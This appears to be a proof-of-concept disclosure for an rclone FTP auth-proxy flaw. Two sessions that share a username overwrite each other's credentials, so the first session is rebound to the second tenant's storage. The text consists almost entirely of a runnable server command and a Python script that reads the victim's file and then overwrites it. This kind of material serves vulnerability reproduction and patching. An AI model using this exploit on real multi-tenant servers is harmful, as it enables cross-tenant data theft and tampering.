CVE-2026-88017: rclone FTP Auth-Proxy Cross-Session Credential Overwrite

# Two tenants share the FTP username "shared" but have separate proxy-issued roots.
# Run the FTP server:
./rclone serve ftp \
  --auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \
  --addr 127.0.0.1:2121 \
  --passive-port 30000-30010

# Proxy maps password-as-token to a local root:
# attacker-token -> /tmp/rclone-ftp-attacker
# victim-token   -> /tmp/rclone-ftp-victim

# Trigger the overwrite via two simultaneous FTP sessions:
python3 - <<'PY'
import ftplib, io

def connect(password):
    ftp = ftplib.FTP()
    ftp.connect("127.0.0.1", 2121, timeout=5)
    ftp.login("shared", password)
    return ftp

attacker = connect("attacker-token")   # Session A: backend = attacker root

# Confirm attacker cannot see victim file yet.
try:
    attacker.size("victim.txt")
    raise AssertionError("should not be visible")
except ftplib.error_perm:
    pass

victim = connect("victim-token")       # Session B: overwrites userPass["shared"]
assert victim.size("victim.txt") > 0

# Session A is now silently rebound to the victim backend.
stolen = bytearray()
attacker.retrbinary("RETR victim.txt", stolen.extend)
print("read:", stolen.decode().strip())

# Overwrite victim's file through the attacker session.
attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))

attacker.quit()
victim.quit()
PY